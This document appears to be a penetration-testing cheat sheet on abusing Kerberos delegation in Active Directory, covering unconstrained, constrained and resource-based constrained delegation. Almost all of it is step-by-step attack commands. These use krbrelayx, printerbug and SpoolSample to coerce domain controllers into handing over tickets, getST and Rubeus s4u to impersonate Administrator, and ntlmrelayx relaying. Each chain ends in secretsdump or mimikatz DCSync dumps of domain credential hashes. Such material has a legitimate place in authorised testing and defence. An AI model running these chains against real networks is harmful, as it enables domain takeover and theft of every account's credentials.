Active Directory Delegations

Unconstrained Delegation

# Nice resource for user account =/= machine account in UC
http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html

# AD Objects having Unconstrained Delegation issues have the TRUSTED_FOR_DELEGATION flag set

# You can search for users using Pywerview
$ python pywerview.py get-netuser -u ownedUser -p userPassword -d foo.lan -t dc1.foo.lan --unconstrained

# You can also request through ldapdomain dump and then grep for interesting
$ ldapdomaindump -u "foo.lan\\ownedUser" -p "userPassword" 192.168.30.10
$ grep TRUSTED_FOR_DELEGATION *.grep

# Using Powershell and the ADModule (https://github.com/samratashok/ADModule)
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# Compromised User having Unconstrained Delegation

# 1/ Add a fake SPN using the pwnedUser
$ python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan

# 2/ Create a new DNS record pointing the fake SPN to our attacking IP
$ python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d <attacker-IP> DC1.foo.lan

# 3/ In one shell, start krbrelayx (salt is case sensitive!)
$ sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword

# 4/ In another shell
$ python printerbug.py foo.lan/ownedUser:userPassword@DC1.foo.lan PWNED.foo.lan

# It will force the target DC to connect to our fake new "computer" configured through
# Unconstrained Delegation. It will then embed a copy of the DC$ TGT, being saved by krbrelayx.

# Then...
export KRB5CCNAME=/path/to/ticket.ccache
$ python secretsdump.py -k DC1.foo.lan -just-dc     
# Compromised Machine/Server having Unconstrained Delegation

# If you compromised a machine having UC you can use it to get a copy of the DC's TGT
# In Powershell you can check for the spoolss presence
PS> ls \\<dc-ip>\pipe\spoolss

# On the compromised machine, start monitoring with Rubeus
Rubeus.exe monitor /interval:1 

# Then using the SpoolSample PoC (https://github.com/leechristensen/SpoolSample)
# You can force the DC to connect to the owned machine
# Delegation being set, you will get a copy of the DC$ TGT in Rubeus
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME

Constrained Delegation

# AD Objects having Unconstrained Delegation issues have the TRUSTED_TO_AUTH_FOR_DELEGATION flag set
# The msDS-AllowedToDelegateTo indicates objects involded in the delegation rights

# The goal is to get a ticket for an impseronated user on a service we have delegation rights to
getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

# It is then possible to modify the service name portion of the ticket (not encrypted)
# Impackets auto update the sname in backend
# The following posts describes this behavior
https://www.secureauth.com/blog/kerberos-delegation-spns-and-more

# Once the ticket have been generated, we can then use it
export KRB5CCNAME=/path/to/ticket.ccache
$ python secretsdump.py -k DC1.foo.lan -just-dc  

RBCD Exploitation

https://github.com/aas-n/leHACK19

# Microsoft is releasing an update in March 2020 that will enable LDAP channel binding & LDAP 
# signing by default on Windows systems, remediating this potential attack vector on fully patched systems.

# When to use : 
# Basically, when you’re on a network and want to get a shell on a different system on that same network segment.
# This attack can be ran without needing any prior credentials.
# However, the method described does require that a domain controller in the environment is configured with LDAPS.
# From Windows Hosts

# Importing Powerview and Powermad
Import-Module .\Powerview.ps1
Import-Module .\Powermad.ps1

# Authentication
$TargetComputer = "DC01.domain.lan"
$SecPassword = ConvertTo-SecureString 'passw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\ControlledAccount', $SecPassword)

# Get our user's SID
$AttackerSID = Get-DomainUser ControlledUser -Credential $Cred -Server 10.10.10.10 -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL $TargetComputer -Credential $Cred -Server 10.10.10.10 | ?{$_.SecurityIdentifier -match $AttackerSID}

# Adding a machine and getting SID
New-MachineAccount -Credential $Cred -Domain domain.lan -DomainController 10.10.10.10 -MachineAccount lleXXXXX -Password $(ConvertTo-SecureString 'passw0rd' -AsPlainText -Force)
$ComputerSID = Get-DomainComputer lleXXXXX -Credential $Cred -Server 10.10.10.10 -Properties objectsid | Select -Expand objectsid

# Creating structure to store in Allowedtoact in the DC
$SD= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Rewrite Allowedtoact properties on the DC
Get-DomainComputer $TargetComputer -Credential $Cred -Server 10.10.10.10 | Set-DomainObject -Credential $Cred -Server 10.10.10.10 -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Now you can impersonate the domain admin account on the DC using the machine account
.\Rubeus.exe hash /password:passw0rd /user:lleXXXXX /domain:domain.lan
.\Rubeus.exe s4u /user:lleXXXXX$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:ldap/DC01.domain.lan /ptt /dc:10.10.10.10 /domain:domain.lan
.\Rubeus.exe klist

# Then, you can get the NTLM hash of domain admin using DCSync and Mimikatz
.\Mimikatz.exe
mimikatz> lsadump::dcsync /user:domain\Adminisrator /domain:domain.lan /dc:DC01.domain.lan
# From Linux Hosts

# First step is creating a computer account in order to have control on a computer account with SPNs
addcomputer.py -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

# Then you want to intercept NTLM hashes and forward them to LDAP on a DC
# It allows you to impersonate the relayed account and set msDS-AllowedToActOnBehalfOfOtherIdentity
ntlmrelayx.py -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DC.DOMAIN.LOCAL
ntlmrelayx.py -wh COMPUTER.DOMAIN.LOCAL --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DC.DOMAIN.LOCAL

# Then, start a relay tool (mitm6, responder...)
# If another host authenticates succesfully and give impersonation rights, we can then use them

# Then you will want to get a valid TGS to connect to the server using our new delegation rights
# We can for example choose to impersonate administrators
getST.py -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

export KRB5CCNAME=/path/to/ticket.ccache
$ python secretsdump.py -k DC1.foo.lan -just-dc